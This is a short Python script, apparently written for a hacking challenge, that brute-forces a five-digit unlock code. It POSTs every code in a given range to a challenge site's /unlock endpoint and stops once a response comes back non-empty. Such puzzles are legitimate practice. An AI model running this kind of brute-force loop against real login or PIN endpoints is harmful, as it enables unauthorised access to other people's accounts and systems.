sears challenge http://hackthestack.io/unlock cracker

broute.py

import requests
import sys

start = int(sys.argv[1])
end = int(sys.argv[2])

def get_combinations():
    for n in range(start, end):
        yield list(str(n).zfill(5))

def main():

    for combination in get_combinations():
        finished = False
        while not finished:
            try:
                r = requests.post('http://hackthestack.io/unlock', json=combination)
                r.raise_for_status()
                print combination
                if r.content:
                    print "SUCCESS!", combination
                    return
                finished = True

            except:
                print "ERROR", combination

main()